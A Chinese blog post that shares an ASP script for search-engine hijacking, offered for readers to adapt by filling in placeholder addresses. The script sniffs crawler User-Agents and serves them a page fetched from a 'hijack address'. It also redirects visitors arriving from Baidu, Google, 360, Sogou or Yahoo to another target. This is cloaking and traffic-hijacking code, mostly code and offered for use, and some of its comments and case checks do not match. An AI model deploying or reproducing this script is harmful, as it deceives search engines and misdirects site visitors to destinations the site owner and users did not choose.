【劫持跳转代码】能同时劫持百度、google、360、搜狗的代码

我在这里是在原来代码的基础上进行了修改，其实原理很简单，以前的只能劫持百度，现在的还能同时劫持更多，有兴趣的朋友可以去看看代码，里面的代码你们用的时候记得修改里面的位置，需要修改的地方，相信你们明白的，

——————在这里着重说下，转载文章没有问题，但是请尊重劳动人民的果实是吧————————

*****************************************************************************

<%

function GetBot()

'查询蜘蛛

dim s_agent

GetBot=""

s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句

if instr(1,s_agent,"googlebot",1) >0 then

GetBot="google"

end if

if instr(1,s_agent,"msnbot",1) >0 then

GetBot="MSN"

end if

if instr(1,s_agent,"slurp",1) >0 then

GetBot="Yahoo"

end if

if instr(1,s_agent,"baiduspider",1) >0 then

GetBot="baidu"

end if

if instr(1,s_agent,"sohu-search",1) >0 then

GetBot="Sohu"

end if

if instr(1,s_agent,"sogou spider",1) >0 then

GetBot="Sogou"

end if

if instr(1,s_agent,"360Spider",1) >0 then

GetBot="so"

end if

if instr(1,s_agent,"lycos",1) >0 then

GetBot="Lycos"

end if

if instr(1,s_agent,"robozilla",1) >0 then

GetBot="Robozilla"

end if

end function

Function getHTTPPage(Path)

t = GetBody(Path)

getHTTPPage=BytesToBstr(t,"GB2312")'编码

End function

Function Newstring(wstr,strng)

Newstring=Instr(lcase(wstr),lcase(strng))

if Newstring<=0 then Newstring=Len(wstr)

End Function

Function GetBody(url)

on error resume next

Set Retrieval = CreateObject("Microsoft.XMLHTTP")

With Retrieval

.Open "Get", url, False, "", ""

.Send

GetBody = .ResponseBody

End With

Set Retrieval = Nothing

End Function

Function BytesToBstr(body,Cset)

dim objstream

set objstream = Server.CreateObject("adodb.stream")

objstream.Type = 1

objstream.Mode =3

objstream.Open

objstream.Write body

objstream.Position = 0

objstream.Type = 2

objstream.Charset = Cset

BytesToBstr = objstream.ReadText

objstream.Close

set objstream = nothing

End Function

Dim wstr,str,url,start,over,dtime

if GetBot="baidu" then

'给百度蜘蛛定制的内容

url="劫持地址"

'想要展示给蜘蛛的页面地址

wstr=getHTTPPage(url)

body=wstr

response.write ""&body&""

response.end

elseif GetBot="sogou" then

'给google 蜘蛛定制的内容

url="劫持地址"

wstr=getHTTPPage(url)

body=wstr

response.write ""&body&""

response.End

end if

if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then

'如果用户来自www.baidu.com

response.redirect("要跳转的目标地址")

'跳转指定地址

end if

if instr(Request.ServerVariables("http_referer"),"www.google.com.hk")>0 then

'如果用户来自www.google.com.hk

response.redirect("要跳转的目标地址")

'跳转指定地址

end if

if instr(Request.ServerVariables("http_referer"),"www.so.com")>0 then

'如果用户来自www.so.com

response.redirect("要跳转的目标地址")

'跳转指定地址

end if

if instr(Request.ServerVariables("http_referer"),"www.sogou.com")>0 then

'如果用户来自www.sogou.com

response.redirect("要跳转的目标地址")

'跳转指定地址

end If

if instr(Request.ServerVariables("http_referer"),"www.yahoo.com")>0 then

'如果用户来自www.sogou.com

response.redirect("要跳转的目标地址")

'跳转指定地址

end if

%>

*********************************************************************

对劫持感兴趣的朋友可以研究研究,,,,希望转载的朋友能保留转载地址，拜谢了 原文链接http://www.seoby.cn/post/c641b_1384b5c